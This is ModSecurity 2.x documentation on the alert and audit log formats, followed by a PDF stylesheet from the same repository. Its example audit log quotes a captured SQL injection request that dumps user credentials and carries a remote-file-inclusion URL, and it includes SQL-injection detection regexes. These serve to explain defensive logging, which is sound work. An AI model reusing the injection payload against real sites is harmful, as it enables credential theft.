<section>
<title>Escaping</title>
<para>ModSecurity alerts will always contain text fragments that were taken from
configuration or the transaction. Such text fragments escaped before they are user
in messages, in order to sanitise the potentially dangerous characters. They are
also sometimes surrounded using double quotes. The escaping algorithm is as
follows:<orderedlist>
<listitem>
<para>Characters <literal>0x08</literal> (<literal>BACKSPACE</literal>),
<literal>0x0a</literal> (<literal>NEWLINE</literal>), <literal
>0x10</literal> (<literal>CARRIAGE RETURN</literal>), <literal
>0x09</literal> (<literal>HORIZONTAL TAB</literal>) and <literal
>0x0b</literal> (<literal>VERTICAL TAB</literal>) will be
represented as <literal>\b</literal>, <literal>\n</literal>, <literal
>\r</literal>, <literal>\t</literal> and <literal>\v</literal>,
respectively.</para>
</listitem>
<listitem>
<para>Bytes from the ranges <literal>0-0x1f</literal> and <literal
>0x7f-0xff</literal> (inclusive) will be represented as <literal
>\xHH</literal>, where <literal>HH</literal> is the hexadecimal
value of the byte.</para>
</listitem>
<listitem>
<para>Backslash characters (<literal>\</literal>) will be represented as
<literal>\\</literal>.</para>
</listitem>
<listitem>
<para>Each double quote character will be represented as <literal
>\"</literal>, but only if the entire fragment is surrounded with
double quotes.</para>
</listitem>
</orderedlist></para>
</section>
<section>
<title>Alerts in the Apache Error Log</title>
<para>Every ModSecurity alert conforms to the following format when it appears in the
Apache error log:</para>
<programlisting>[Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1]
ModSecurity: ALERT_MESSAGE</programlisting>
<para>The above is a standard Apache error log format. The <literal>ModSecurity:
</literal> prefix is specific to ModSecurity. It is used to allow quick
identification of ModSecurity alert messages when they appear in the same file next
to other Apache messages.</para>
<para>The actual message (<literal>ALERT_MESSAGE</literal> in the example above) is in
the same format as described in the <emphasis>Alerts</emphasis> section.</para>
<note>
<para>Apache further escapes ModSecurity alert messages before writing them to the
error log. This means that all backslash characters will be doubled in the error
log. In practice, since ModSecurity will already represent a single backslash
within an untrusted text fragment as two backslashes, the end result in the
Apache error log will be <emphasis>four</emphasis> backslashes. Thus, if you
need to interpret a ModSecurity message from the error log, you should decode
the message part after the <literal>ModSecurity:</literal> prefix first. This
step will peel the first encoding layer.</para>
</note>
</section>
<section>
<title>Alerts in Audit Logs</title>
<para>Alerts are transported in the <literal>H</literal> section of the ModSecurity
Audit Log. Alerts will appear each on a separate line and in the order they were
generated by ModSecurity. Each line will be in the following format:</para>
<programlisting>Message: ALERT_MESSAGE</programlisting>
<para>Below is an example of an <literal>H</literal> section that contains two alert
messages:</para>
<programlisting>--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against
"REQUEST_HEADERS:User-Agent" required. [id "990011"] [msg "Request
Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b
(?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere)
|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|
makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack.
Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
--c7036611-Z--</programlisting>
</section>
</section>
<section>
<title>Audit Log</title>
<para>ModSecurity records one transaction in a single audit log file. Below is an
example:</para>
<programlisting>--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995
80.68.80.233 80
--c7036611-B--
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,
char(77),password,char(77),email_address,char(77),info,char(77),user_level,
char(77))/**/from/**/eb_members/**/where/**/userid=1/*http://kamloopstutor.
com/images/banners/on.txt? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, cslose
Host: www.example.com
User-Agent: libwww-perl/5.808
--c7036611-F--
HTTP/1.1 404 Not Found
Content-Length: 223
Connection: close
Content-Type: text/html; charset=iso-8859-1
--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against
"REQUEST_HEADERS:User-Agent" required. [id "990011"] [msg "Request
Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b
(?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere)
|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|
makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack.
Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
--c7036611-Z--
</programlisting>
<para>The file consist of multiple sections, each in different format. Separators are used
to define sections:</para>
<programlisting>--c7036611-A--</programlisting>
<para>A separator always begins on a new line and conforms to the following format:</para>
<orderedlist>
<listitem>
<para>Two dashes</para>
</listitem>
<listitem>
<para>Unique boundary, which consists from several hexadecimal characters.</para>
</listitem>
<listitem>
<para>One dash character.</para>
</listitem>
<listitem>
<para>Section identifier, currently a single uppercase letter.</para>
</listitem>
<listitem>
<para>Two trailing dashes.</para>
</listitem>
</orderedlist>
<para>Refer to the documentation for <literal>SecAuditLogParts</literal> for the explanation
of each part.</para>
<section>
<title>Parts</title>
<para>This section documents the audit log parts available in ModSecurity 2.x. They are: <itemizedlist>
<listitem>
<para><literal moreinfo="none">A</literal> - audit log header</para>
</listitem>
<listitem>
<para><literal moreinfo="none">B</literal> - request headers</para>
</listitem>
<listitem>
<para><literal moreinfo="none">C</literal> - request body</para>
</listitem>
<listitem>
<para><literal moreinfo="none">D</literal> - intended response headers (NOT
IMPLEMENTED)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">E</literal> - intended response body</para>
</listitem>
<listitem>
<para><literal moreinfo="none">F</literal> - response headers</para>
</listitem>
<listitem>
<para><literal moreinfo="none">G</literal> - response body (NOT
IMPLEMENTED)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">H</literal> - audit log trailer</para>
</listitem>
<listitem>
<para><literal moreinfo="none">I</literal> - reduced multipart request
body</para>
</listitem>
<listitem>
<para><literal moreinfo="none">J</literal> - multipart files information
(NOT IMPLEMENTED)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">K</literal> - matched rules
information</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Z</literal> - audit log footer</para>
</listitem>
</itemizedlist></para>
<section>
<title>Audit Log Header (<literal>A</literal>)</title>
<para>ModSecurity 2.x audit log entries always begin with the header part. For
example:</para>
<programlisting>--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995
80.68.80.233 80</programlisting>
<para>The header contains only one line, with the following information on
it:</para>
<orderedlist>
<listitem>
<para>Timestamp</para>
</listitem>
<listitem>
<para>Unique transaction ID</para>
</listitem>
<listitem>
<para>Source IP address (IPv4 or IPv6)</para>
</listitem>
<listitem>
<para>Source port</para>
</listitem>
<listitem>
<para>Destination IP address (IPv4 or IPv6)</para>
</listitem>
<listitem>
<para>Destination port</para>
</listitem>
</orderedlist>
</section>
<section>
<title>Request Headers (<literal>B</literal>)</title>
<para>The request headers part contains the request line and the request headers.
The information present in this part will not be identical to that sent by the
client responsible for the transaction. ModSecurity 2.x for Apache does not have
access to the raw data; it sees what Apache itself sees. While the end result
may be identical to the raw request, differences are possible in some
areas:</para>
<orderedlist>
<listitem>
<para>If any of the fields are <literal>NUL</literal>-terminated, Apache
will only see the content prior to the NUL.</para>
</listitem>
<listitem>
<para>Headers that span multiple lines (feature known as header folding)
will be collapsed into a single line.</para>
</listitem>
<listitem>
<para>Multiple headers with the same name will be combined into a single
header (as allowed by the HTTP RFC).</para>
</listitem>
</orderedlist>
</section>
<section>
<title>Request Body (<literal>C</literal>)</title>
<para>This part contains the request body of the transaction, after dechunking and
decompression (if applicable).</para>
</section>
<section>
<title>Intended Response Headers (<literal>D</literal>)</title>
<para>This part contains the status line and the request headers that would have
been delivered to the client had ModSecurity not intervened. Thus this part
makes sense only for transactions where ModSecurity altered the data flow. By
differentiating before the intended and the final response headers, we are able
to record what was internally ready for sending, but also what was actually
sent.</para>
<note>
<para>This part is reserved for future use. It is not implemented in ModSecurity
2.x.</para>
</note>
</section>
<section>
<title>Intended Response Body (<literal>E</literal>)</title>
<para>This part contains the transaction response body (before compression and
chunking, where used) that was either sent or would have been sent had
ModSecurity not intervened. You can find whether interception took place by
looking at the <literal>Action</literal> header of the part <literal
>H</literal>. If that header is present, and the interception took place in
phase 3 or 4 then the <literal>E</literal> part contains the intended response
body. Otherwise, it contains the actual response body.</para>
<note>
<para>Once the <literal>G</literal> (actual response body) part is implemented,
part <literal>E</literal> will be present only in audit logs that contain a
transaction that was intercepted, and there will be no need for further
analsys.</para>
</note>
</section>
<section>
<title>Response Headers (<literal>F</literal>)</title>
<para>This part contains the actual response headers sent to the client. Since
ModSecurity 2.x for Apache does not access the raw connection data, it
constructs part <literal>F</literal> out of the internal Apache data structures
that hold the response headers.</para>
<para>Some headers (the <literal>Date</literal> and <literal>Server</literal>
response headers) are generated just before they are sent and ModSecurity is not
able to record those. You should note than ModSecurity is working as part of a
reverse proxy, the backend web server will have generated these two servers, and
in that case they will be recorded. </para>
</section>
<section>
<title>Response Body (G)</title>
<para>When implemented, this part will contain the actual response body before
compression and chunking.</para>
<note>
<para>This part is reserved for future use. It is not implemented in ModSecurity
2.x.</para>
</note>
</section>
<section>
<title>Audit Log Trailer (H)</title>
<para>Part <literal>H</literal> contains additional transaction meta-data that was
obtained from the web server or from ModSecurity itself. The part contains a
number of trailer headers, which are similar to HTTP headers (without support
for header folding):<orderedlist>
<listitem>
<para>Action</para>
</listitem>
<listitem>
<para>Apache-Error</para>
</listitem>
<listitem>
<para>Message</para>
</listitem>
<listitem>
<para>Producer</para>
</listitem>
<listitem>
<para>Response-Body-Transformed</para>
</listitem>
<listitem>
<para>Sanitised-Args</para>
</listitem>
<listitem>
<para>Sanitised-Request-Headers</para>
</listitem>
<listitem>
<para>Sanitised-Response-Headers</para>
</listitem>
<listitem>
<para>Server</para>
</listitem>
<listitem>
<para>Stopwatch</para>
</listitem>
<listitem>
<para>WebApp-Info</para>
</listitem>
</orderedlist></para>
<section>
<title>Action</title>
<para>The <literal>Action</literal> header is present only for the transactions
that were intercepted:</para>
<programlisting>Action: Intercepted (phase 2)</programlisting>
<para>The phase information documents the phase in which the decision to
intercept took place.</para>
</section>
<section>
<title>Apache-Error</title>
<para>The Apache-Error header contains Apache error log messages observed by
ModSecurity, excluding those sent by ModSecurity itself. For example:</para>
<programlisting>Apache-Error: [file "/tmp/buildd/apache2-2.0.54/build-tree/apache2/server/
core.c"] [line 3505] [level 3] File does not exist: /var/www/www.
modsecurity.org/fst/documentation/modsecurity-apache/2.5.0-dev2</programlisting>
</section>
<section>
<title>Message</title>
<para>Zero or more <literal>Message</literal> headers can be present in any
trailer, and each such header will represent a single ModSecurity warning or
error, displayed in the order they were raised.</para>
<para>The example below was broken into multiple lines to make it fit this
page:</para>
<programlisting>Message: Access denied with code 400 (phase 2). Pattern match "^\w+:/" at
REQUEST_URI_RAW. [file "/etc/apache2/rules-1.6.1/modsecurity_crs_20_
protocol_violations.conf"] [line "74"] [id "960014"] [msg "Proxy access
attempt"] [severity "CRITICAL"] [tag "PROTOCOL_VIOLATION/PROXY_ACCESS"]</programlisting>
</section>
<section>
<title>Producer</title>
<para>The <literal>Producer</literal> header identifies the product that
generated the audit log. For example:</para>
<programlisting>Producer: ModSecurity for Apache/2.5.5 (http://www.modsecurity.org/).</programlisting>
<para>ModSecurity allows rule sets to add their own signatures to the <literal
>Producer</literal> information (this is done using the <literal
>SecComponentSignature</literal> directive). Below is an example of the
<literal>Producer</literal> header with the signature of one component
(all one line):</para>
<programlisting>Producer: ModSecurity for Apache/2.5.5 (http://www.modsecurity.org/);
MyComponent/1.0.0 (Beta).</programlisting>
</section>
<section>
<title>Response-Body-Transformed</title>
<para>This header will appear in every audit log that contains a response
body:</para>
<programlisting>Response-Body-Transformed: Dechunked</programlisting>
<para>The contents of the header is constant at present, so the header is only
useful as a reminder that the recorded response body is not identical to the
one sent to the client. The actual content is the same, except that Apache
may further compress the body and deliver it in chunks.</para>
</section>
<section>
<title>Sanitised-Args</title>
<para>The <literal>Sanitised-Args</literal> header contains a list of arguments
that were sanitised (each byte of their content replaced with an asterisk)
before logging. For example:</para>
<programlisting>Sanitised-Args: "old_password", "new_password", "new_password_repeat".</programlisting>
</section>
<section>
<title>Sanitised-Request-Headers</title>
<para>The <literal>Sanitised-Request-Headers</literal> header contains a list of
request headers that were sanitised before logging. For example:</para>
<programlisting>Sanitised-Request-Headers: "Authentication".</programlisting>
</section>
<section>
<title>Sanitised-Response-Headers</title>
<para>The <literal>Sanitised-Response-Headers</literal> header contains a list
of response headers that were sanitised before logging. For example:</para>
<programlisting>Sanitised-Response-Headers: "My-Custom-Header".</programlisting>
</section>
<section>
<title>Server</title>
<para>The <literal>Server</literal> header identifies the web server. For
example:</para>
<programlisting>Server: Apache/2.0.54 (Debian GNU/Linux) mod_ssl/2.0.54 OpenSSL/0.9.7e</programlisting>
<para>This information may sometimes be present in any of the parts that contain
response headers, but there are a few cases when it isn't:<orderedlist>
<listitem>
<para>None of the response headers were recoreded.</para>
</listitem>
<listitem>
<para>The information in the response headers is not accurate
because server signature masking was used.</para>
</listitem>
</orderedlist></para>
</section>
<section>
<title>Stopwatch</title>
<para>The <literal>Stopwatch</literal> header provides certain diagnostic
information that allows you to determine the performance of the web server
and of ModSecurity itself. It will typically look like this:</para>
<programlisting>Stopwatch: 1222945098201902 2118976 (770* 4400 -)</programlisting>
<para>Each line can contain up to 5 different values. Some values can be absent;
each absent value will be replaced with a dash.</para>
<para>The meanings of the values are as follows (all values are in
microseconds):<orderedlist>
<listitem>
<para>Transaction timestamp in microseconds since January 1st,
1970.</para>
</listitem>
<listitem>
<para>Transaction duration.</para>
</listitem>
<listitem>
<para>The time between the moment Apache started processing the
request and until phase 2 of ModSecurity began. If an asterisk
is present that means the time includes the time it took
ModSecurity to read the request body from the client (typically
slow). This value can be used to provide a rough estimate of the
client speed, but only with larger request bodies (the smaller
request bodies may arrive in a single TCP/IP packet).</para>
</listitem>
<listitem>
<para>The time between the start of processing and until phase 2 was
completed. If you substract the previous value from this value
you will get the exact duration of phase 2 (which is the main
rule processing phase).</para>
</listitem>
<listitem>
<para>The time between the start of request processing and util we
began sending a fully-buffered response body to the client. If
you substract this value from the total transaction duration and
divide with the response body size you may get a rough estimate
of the client speed, but only for larger response bodies.</para>
</listitem>
</orderedlist></para>
</section>
<section>
<title>WebApp-Info</title>
<para>The <literal>WebApp-Info</literal> header contains information on the
application to which the recorded transaction belongs. This information will
appear only if it is known, which will happen if <literal
>SecWebAppId</literal> was set, or <literal>setsid</literal> or <literal
>setuid</literal> executed in the transaction.</para>
<para>The header uses the following format:</para>
<programlisting>WebApp-Info: "WEBAPPID" "SESSIONID" "USERID"</programlisting>
<para>Each unknown value is replaced with a dash.</para>
</section>
</section>
<section>
<title>Reduced Multipart Request Body (<literal>I</literal>)</title>
<para>Transactions that deal with file uploads tend to be large, yet the file
contents is not always relevant from the security point of view. The <literal
>I</literal> part was designed to avoid recording raw <literal
>multipart/form-data</literal> request bodies, replacing them with a
simulated <literal>application/x-www-form-urlencoded</literal> body that
contains the same key-value parameters.</para>
<para>The reduced multipart request body will not contain any file information. The
<literal>J</literal> part (currently not implemented) is intended to carry
the file metadata.</para>
</section>
<section>
<title>Multipart Files Information (<literal>J</literal>)</title>
<para>The purpose of part <literal>J</literal> is to record the information on the
files contained in a <literal>multipart/form-data</literal> request body. This
is handy in the cases when the original request body was not recorded, or when
only a reduced version was recorded (e.g. when part <literal>I</literal> was
used instead of part <literal>C</literal>).</para>
<note>
<para>This part is reserved for future use. It is not implemented in ModSecurity
2.x.</para>
</note>
</section>
<section>
<title>Matched Rules (<literal>K</literal>)</title>
<para>The matched rules part contains a record of all ModSecurity rules that matched
during transaction processing. You should note that if a rule that belongs to a
chain matches then the entire chain will be recorded. This is because, even
though the disruptive action may not have executed, other per-rule actions have,
and you will need to see the entire chain in order to understand the
rules.</para>
<para>This part is available starting with ModSecurity 2.5.x.</para>
</section>
<section>
<title>Audit Log Footer (<literal>Z</literal>)</title>
<para>Part <literal>Z</literal> is a special part that only has a boundary but no
content. Its only purpose is to signal the end of an audit log.</para>
</section>
</section>
<section>
<title>Storage Formats</title>
<para>ModSecurity supports two audit log storage formats:<orderedlist>
<listitem>
<para><emphasis>Serial</emphasis> audit log format - multiple audit log
files stored in the same file.</para>
</listitem>
<listitem>
<para><emphasis>Concurrent</emphasis> audit log format - one file is used
for every audit log.</para>
</listitem>
</orderedlist></para>
<section>
<title>Serial Audit Log Format</title>
<para>The serial audit log format stores multiple audit log entries within the same
file (one after another). This is often very convinent (audit log entries are
easy to find) but this format is only suitable for light logging in the current
ModSecurity implementation because writing to the file is serialised: only one
audit log entry can be written at any one time.</para>
</section>
<section>
<title>Concurrent Audit Log Format</title>
<para>The concurrent audit log format uses one file per audit log entry, and allows
many transactions to be recorded at once. A hierarchical directory structure is
used to ensure that the number of files created in any one directory remains
relatively small. For example:</para>
<programlisting>$LOGGING-HOME/20081128/20081128-1414/20081128-141417-
egDKy38AAAEAAAyMHXsAAAAA</programlisting>
<para>The current time is used to work out the directory structure. The file name is
constructed using the current time and the transaction ID.</para>
<para>The creation of every audit log in concurrent format is recorded with an entry
in the concurrent audit log <emphasis>index file</emphasis>. The format of each
line resembles the common web server access log format. For example:</para>
<programlisting>192.168.0.111 192.168.0.1 - - [28/Nov/2008:15:06:32 +0000]
"GET /?p=\\ HTTP/1.1" 200 69 "-" "-" NOfRx38AAAEAAAzcCU4AAAAA
"-" /20081128/20081128-1506/20081128-150632-NOfRx38AAAEAAAzcCU4AAAAA
0 1183 md5:ffee2d414cd43c2f8ae151652910ed96</programlisting>
<para>The tokens on the line are as follows:</para>
<orderedlist>
<listitem>
<para>Hostname (or IP address, if the hostname is not known)</para>
</listitem>
<listitem>
<para>Source IP address</para>
</listitem>
<listitem>
<para>Remote user (from HTTP Authentication)</para>
</listitem>
<listitem>
<para>Local user (from identd)</para>
</listitem>
<listitem>
<para>Timestamp</para>
</listitem>
<listitem>
<para>Request line</para>
</listitem>
<listitem>
<para>Response status</para>
</listitem>
<listitem>
<para>Bytes sent (in the response body)</para>
</listitem>
<listitem>
<para>Referrer information</para>
</listitem>
<listitem>
<para>User-Agent information</para>
</listitem>
<listitem>
<para>Transaction ID</para>
</listitem>
<listitem>
<para>Session ID</para>
</listitem>
<listitem>
<para>Audit log file name (relative to the audit logging home, as configured
using the <literal>SecAuditLogStorageDir</literal> directive)</para>
</listitem>
<listitem>
<para>Audit log offset</para>
</listitem>
<listitem>
<para>Audit log size</para>
</listitem>
<listitem>
<para>Audit log hash (the has begins with the name of the algorithm used,
followed by a colon, followed by the hexadecimal representation of the
hash itself); this hash can be used to verify that the transaction was
correctly recorded and that it hasn't been modified since.</para>
</listitem>
</orderedlist>
<note>
<para>Lines in the index file will be up to 3980 bytes long, and the information
logged will be reduced to fit where necessary. Reduction will occur within
the individual fields, but the overall format will remain the same. The
character <literal>L</literal> will appear as the last character on a
reduced line. A space will be the last character on a line that was not
reduced to stay within the limit.</para>
</note>
</section>
</section>
<section>
<title>Transport Protocol</title>
<para>Audit logs generated in multi-sensor deployments are of little use if left on the
sensors. More commonly, they will be transported to a central logging server using
the transport protocol described in this section:</para>
<orderedlist>
<listitem>
<para>The transport protocol is based on the HTTP protocol.</para>
</listitem>
<listitem>
<para>The server end is an SSL-enabled web server with HTTP Basic Authentication
configured.</para>
</listitem>
<listitem>
<para>Clients will open a connection to the centralisation web server and
authenticate (given the end-point URI, the username and the
password).</para>
</listitem>
<listitem>
<para>Clients will submit every audit log in a single <literal>PUT</literal>
transaction, placing the file in the body of the request and additional
information in the request headers (see below for details).</para>
</listitem>
<listitem>
<para>Server will process each submission and respond with an appropriate status
code: </para>
<orderedlist>
<listitem>
<para>200 (OK) - the submission was processed; the client can delete the
corresponding audit log entry if it so desires. The same audit log
entry must not be submitted again.</para>
</listitem>
<listitem>
<para>409 (Conflict) - if the submission is in invalid format and cannot
be processed. The client should attempt to fix the problem with the
submission and attempt delivery again at a later time. This error is
generally going to occur due to a programming error in the protocol
implementation, and not because of the content of the audit log
entry that is being transported. </para>
</listitem>
<listitem>
<para>500 (Internal Server Error) - if the server was unable to
correctly process the submission, due to its own fault. The client
should re-attempt delivery at a later time. A client that starts
receiving 500 reponses to all its submission should suspend its
operations for a period of time before continuing.</para>
</listitem>
</orderedlist>
</listitem>
</orderedlist>
<note>
<para>Server implementations are advised to accept all submissions that correctly
implement the protocol. Clients are unlikely to be able to overcome problems
within audit log entries, so such problems are best resolved on the server
side.</para>
</note>
<note>
<para>When en error occurs, the server may place an explanation of the problem in
the text part of the response line.</para>
</note>
<section>
<title>Request Headers Information</title>
<para>Each audit log entry submission must contain additional information in the
request headers:</para>
<orderedlist>
<listitem>
<para>Header <literal>X-Content-Hash</literal> must contain the audit log
entry hash. Clients should expect the audit log entries to be validated
against the hash by the server.</para>
</listitem>
<listitem>
<para>Header <literal>X-ForensicLog-Summary</literal> must contain the
entire concurrent format index line.</para>
</listitem>
<listitem>
<para>The <literal>Content-Lenght</literal> header must be present and
contain the length of the audit log entry.</para>
</listitem>
</orderedlist>
</section>
</section>
</section>
</article>

166
2.5.13/2.5.x/doc/pdf.xsl Normal file
View File

@@ -0,0 +1,166 @@
<?xml version='1.0'?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:fo="http://www.w3.org/1999/XSL/Format"
version="1.0"
>
<xsl:import href="/opt/docbook/xsl/fo/docbook.xsl"/>
<!--xsl:import href="/usr/share/xml/docbook/stylesheet/nwalsh/fo/docbook.xsl"/-->
<xsl:param name="paper.type" select="A4"/>
<!--
<xsl:param name="section.autolabel" select="1"/>
<xsl:param name="appendix.autolabel" select="1"/>
<xsl:param name="section.label.include.component.label" select="1"/>
-->
<xsl:param name="fop1.extensions" select="1"/>
<xsl:param name="title.margin.left">0pt</xsl:param>
<xsl:param name="body.font.master">11</xsl:param>
<xsl:param name="line-height">1.5</xsl:param>
<xsl:param name="header.column.widths">1 20 1</xsl:param>
<xsl:attribute-set name="normal.para.spacing">
<xsl:attribute name="space-before.optimum">0.0em</xsl:attribute>
<xsl:attribute name="space-before.minimum">0.0em</xsl:attribute>
<xsl:attribute name="space-before.maximum">0.0em</xsl:attribute>
<xsl:attribute name="space-after.optimum">0.2em</xsl:attribute>
<xsl:attribute name="space-after.minimum">0.2em</xsl:attribute>
<xsl:attribute name="space-after.maximum">0.2em</xsl:attribute>
</xsl:attribute-set>
<xsl:attribute-set name="section.title.properties">
<xsl:attribute name="font-family">
<xsl:value-of select="$title.font.family"/>
</xsl:attribute>
<xsl:attribute name="font-weight">bold</xsl:attribute>
<xsl:attribute name="keep-with-next.within-column">always</xsl:attribute>
<xsl:attribute name="text-align">left</xsl:attribute>
<xsl:attribute name="space-before.minimum">1.0em</xsl:attribute>
<xsl:attribute name="space-before.optimum">1.0em</xsl:attribute>
<xsl:attribute name="space-before.maximum">1.0em</xsl:attribute>
<xsl:attribute name="space-after.minimum">0.0em</xsl:attribute>
<xsl:attribute name="space-after.optimum">0.0em</xsl:attribute>
<xsl:attribute name="space-after.maximum">0.0em</xsl:attribute>
</xsl:attribute-set>
<xsl:attribute-set name="section.title.level1.properties">
<xsl:attribute name="font-size">24pt</xsl:attribute>
<xsl:attribute name="break-before">page</xsl:attribute>
<xsl:attribute name="space-before.minimum">0.0em</xsl:attribute>
<xsl:attribute name="space-before.optimum">0.0em</xsl:attribute>
<xsl:attribute name="space-before.maximum">0.0em</xsl:attribute>
<!--
<xsl:attribute name="space-after.minimum">1.5em</xsl:attribute>
<xsl:attribute name="space-after.optimum">1.5em</xsl:attribute>
<xsl:attribute name="space-after.maximum">1.5em</xsl:attribute>
-->
</xsl:attribute-set>
<xsl:attribute-set name="section.title.level2.properties">
<xsl:attribute name="font-size">18pt</xsl:attribute>
</xsl:attribute-set>
<xsl:attribute-set name="section.title.level3.properties">
<xsl:attribute name="font-size">14pt</xsl:attribute>
</xsl:attribute-set>
<xsl:attribute-set name="section.title.level4.properties">
<xsl:attribute name="font-size">12pt</xsl:attribute>
</xsl:attribute-set>
<xsl:attribute-set name="list.item.spacing">
<xsl:attribute name="space-before.optimum">0.0em</xsl:attribute>
<xsl:attribute name="space-before.minimum">0.0em</xsl:attribute>
<xsl:attribute name="space-before.maximum">0.0em</xsl:attribute>
<xsl:attribute name="space-after.optimum">0.2em</xsl:attribute>
<xsl:attribute name="space-after.minimum">0.2em</xsl:attribute>
<xsl:attribute name="space-after.maximum">0.2em</xsl:attribute>
</xsl:attribute-set>
<xsl:attribute-set name="list.block.spacing">
<xsl:attribute name="space-before.optimum">0.2em</xsl:attribute>
<xsl:attribute name="space-before.minimum">0.2em</xsl:attribute>
<xsl:attribute name="space-before.maximum">0.2em</xsl:attribute>
<xsl:attribute name="space-after.optimum">0.2em</xsl:attribute>
<xsl:attribute name="space-after.minimum">0.2em</xsl:attribute>
<xsl:attribute name="space-after.maximum">0.2em</xsl:attribute>
<xsl:attribute name="margin-left">2pc</xsl:attribute>
</xsl:attribute-set>
<xsl:param name="shade.verbatim" select="1"/>
<xsl:attribute-set name="shade.verbatim.style">
<xsl:attribute name="background-color">#f0f0f0</xsl:attribute>
<xsl:attribute name="padding">2pt</xsl:attribute>
</xsl:attribute-set>
<xsl:attribute-set name="monospace.verbatim.properties">
<xsl:attribute name="font-size">90%</xsl:attribute>
</xsl:attribute-set>
<!--
<xsl:template name="nongraphical.admonition">
<xsl:variable name="id">
<xsl:call-template name="object.id"/>
</xsl:variable>
<fo:block id="{$id}"
xsl:use-attribute-sets="nongraphical.admonition.properties">
<xsl:if test="$admon.textlabel != 0 or title">
<fo:block keep-with-next.within-column='always'
xsl:use-attribute-sets="admonition.title.properties">
<xsl:apply-templates select="." mode="object.title.markup"/>
</fo:block>
</xsl:if>
<fo:block xsl:use-attribute-sets="admonition.properties">
<xsl:apply-templates/>
</fo:block>
</fo:block>
</xsl:template>
-->
<xsl:template name="nongraphical.admonition">
<xsl:variable name="id">
<xsl:call-template name="object.id"/>
</xsl:variable>
<fo:block space-before.minimum="0.8em"
space-before.optimum="1em"
space-before.maximum="1.2em"
start-indent="0.25in"
end-indent="0.25in"
border-top="0.5pt solid black"
border-bottom="0.5pt solid black"
padding-top="4pt"
padding-bottom="4pt"
id="{$id}">
<xsl:if test="$admon.textlabel != 0 or title">
<fo:block keep-with-next='always'
xsl:use-attribute-sets="admonition.title.properties">
<xsl:apply-templates select="." mode="object.title.markup"/>
</fo:block>
</xsl:if>
<fo:block xsl:use-attribute-sets="admonition.properties">
<xsl:apply-templates/>
</fo:block>
</fo:block>
</xsl:template>
<xsl:template name="article.titlepage.before.recto">
<fo:block>&#8203;
<fo:external-graphic content-width="8cm" src="url(modsecurity-logo.png)"/>
</fo:block>
</xsl:template>
</xsl:stylesheet>

BIN
2.5.13/2.5.x/doc/trustwave-logo-small.gif Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 4.5 KiB